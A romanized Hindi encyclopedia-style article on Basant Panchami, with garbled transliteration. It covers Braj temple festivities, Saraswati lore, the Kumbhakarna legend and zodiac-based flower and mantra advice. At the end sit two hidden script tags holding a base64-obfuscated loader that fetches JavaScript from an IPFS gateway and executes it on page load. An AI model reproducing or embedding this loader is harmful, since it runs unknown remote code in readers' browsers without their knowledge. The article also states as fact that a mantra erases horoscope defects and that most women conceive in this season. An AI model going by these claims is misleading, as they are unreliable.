बसंत पंचमी
[[chitr:Shah-Ji-Temple-3.jpg|shah bihari ji mandir, vrindavan, mathura
Shah Bihari Temple, Vrindavan, Mathura|thumb|250px]]
marg shukl 5 ko basant panchami ke din mathura mean duhrvasa rrishi ke mandir par mela lagata hai. sabhi mandiroan mean utsav evan bhagavan ke vishesh shrriangar hote haian. vrindavan ke shribaanke bihariji mandir mean basanti kaksh khulata hai. shah ji ke mandir ka basanti kamara prasiddh hai. yahaan darshan ko bhari-bhi d um dati hai. mandiroan mean basanti bhog rakhe jate haian aur basant ke rag gaye jate haian basanm panchami se hi holi gana shuroo ho jata hai. braj ka yah paramparagat utsav hai. is din sarasvati pooja bhi hoti hai. brajavasi bansati vastr pahanate haian.
basant ko rrituoan ka raja arthat sarvashreshth rritu mana gaya hai. is samay panch-tattv apana prakop chho dakar suhavane roop mean prakat hote haian. panch-tattv- jal, vayu, dharati, akash aur agni sabhi apana mohak roop dikhate haian. akash svachchh hai, vayu suhavani hai, agni (soory) ruchikar hai to jal! piyoosh ke saman sukhadata! aur dharati! usaka to kahana hi kya vah to manoan sakar sauandary ka darshan karane vali pratit hoti hai! thand se thithure vihang ab u dane ka bahana dhooandhate haian to kisan lahalahati jau ki baliyoan aur sarasoan ke phooloan ko dekhakar nahian aghata! dhani jahaan prakriti ke nav-sauandary ko dekhane ki lalasa prakat karane lagate haian to nirdhan shishir ki prata dana se mukt hone ke sukh ki anubhooti karane lagate haian. sach! prakriti to manoan unmadi ho jati hai. ho bhi kyoan na! punarjanm jo ho jata hai! shravan ki panapi hariyali sharad ke bad hemant aur shishir mean vriddha ke saman ho jati hai, tab basant usaka saundary lauta deta hai. navagat, navapallv, navakusum ke sath navagandh ka upahar dekar vilakshana bana deta hai. vishnudharmottar puran mean vagdevi ko char bhuja yukt v abhooshanoan se susajjit darshaya gaya hai. skand puran mean sarasvati jata-jutayukt, ardhachandr mastak par dharan kie, kamalasan par sushobhit, nil griva vali evan tin netroan vali kahi gee haian. roop mandan mean vagdevi ka shaant, saubhy v shastrokt varnan milata hai. sanpoorn sanskriti ki devi ke roop mean doodh ke saman shvet rang vali sarasvati ke roop ko adhik mahattvapoorn mana gaya hai. basant parv ka aranbh basant panchami se hota hai. isi din shri arthat vidya ki adhishthatri devi mahasarasvati ka janmadin manaya jata hai. sarasvati ne apane chatury se devoan ko rakshasaraj kuanbhakarn se kaise bachaya, isaki ek manoram katha valmiki ramayan ke uttarakaand mean ati hai. kahate haian devi var prapt karane ke lie kuanbhakarn ne das hazar varshoan tak govarn mean ghor tapasya ki. jab brahma var dene ko taiyar hue to devoan ne kaha ki yah rakshas pahale se hi hai, var pane ke bad to aur bhi unmatt ho jaega tab brahma ne sarasvati ka smaran kiya. sarasvati rakshas ki jibh par savar hueean. sarasvati ke prabhav se kuanbhakarn ne brahma se kaha- 'svapn varshavyanekani. dev dev mamapsinam.' yani maian kee varshoan tak sota rahooan, yahi meri ichchha hai.
soory ke kuanbh rashi mean pravesh ke sath hi rati-kam mahotsav aranbh ho jata hai. yah vahi avadhi hai, jisamean pe d-paudhe tak apani purani pattiyoan ko tyagakar nee kopaloan se achchhadit dikhaee dete haian. samoocha vatavaran pushpoan ki sugandh aur bhauanroan ki gooanj se bhara hota hai. madhumakkhiyoan ki toli parag se shahad leti dikhaee deti hai, isalie is mah ko madhumas bhi kaha jata hai. prakriti kamamay ho jati hai. basant ke is mausam par grahoan mean sarvadhik vidvan ‘shukr’ ka prabhav rahata hai. shukr bhi kam aur sauandary ke karak haian, isalie rati-kam mahotsav ki yah avadhi kamo-ddipak hoti hai. adhikatar mahilaean inhian dinoan garbhadharan karati haian.
janmakundali ka pancham bhav-vidya ka naisargik bhav hai. isi bhav ki grah-sthitiyoan par vyakti ka adhyayan nirbhar karata hai. yah bhav dooshit ya papakraant ho, to vyakti ki shiksha adhoori rah jati hai. is bhav se prabhavit log maan sarasvati ke prakatachy parv magh shukl panchami (basant panchami) par unaki pooja-archana kar ichchhit qamayabi hasil kar sakate haian. isake lie mata ka dhyan kar padhaee karean, usake bad ganosh naman aur phir mantr jap karean. isake alava sankshipt vidhi ka sahara bhi liya ja sakata hai. har rashi ke chhatr apani rashi ke shubh pushpoan se maan mahasarasvati ki sadhana kar sakate haian.
mesh aur vrishchik rashi ke chhatr lal pushp visheshat: gu dahal, lal kaner, lal gaiande adi se aradhana karake labh uthaean. vrish aur tula rashi vale shvet pushpoan tatha mithun aur kanya rashi vale chhatr kamal pushpoan se aradhana kar sakate haian. kark rashi vale shvet kamal ya any shvet pushp se, jabaki sianh rashi ke log javakusum (lal gu dahal) se aradhana karake labh pa sakate haian. dhanu aur min ke log pile pushp tatha makar aur kuanbh rashi ke log nile pushpoan se maan sarasvati ki aradhana kar sakate haian. agar ap mandir ja rahe haian, to pahale ú gan ganapataye nam: mantr ka jap karean. usake bad mata sarasvati ke is mantr ú aian hrian klian mahasarasvati devyai nam: ka jap karake ashirvad prapt kar sakate haian. is mantr ke jap se janmakundali ke lagn (pratham bhav), pancham (vidya) aur navam (bhagy) bhav ke dosh bhi samapt ho jate haian. in tinoan bhavoan (trikon) par shri mahakali, shri mahasarasvati aur shri mahalakshmi ka adhipaty mana jata hai. maan sarasvati ki kripa se hi vidya, buddhi, vani aur jnan ki prapti hoti hai. devi kripa se hi kavi kalidas ne yash aur khyati arjit ki thi. valmiki, vasishth, vishvamitr, shaunak aur vyas jaise mahan rrishi devi-sadhana se hi kritarth hue the.
chooanki maan sarasvati ki utpatti satvagun se mani jati hai, isalie inhean shvet varn ki samagriyaan vishesh priy haian. jaise- shvet pushp, shvet chandan, doodh, dahi, makkhan, shvet vastr aur shvet til ke laddoo. prachinakal mean balakoan ko is din se hi shiksha dena praranbh kiya jata tha aur aj bhi yah paranpara jivit hai.
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>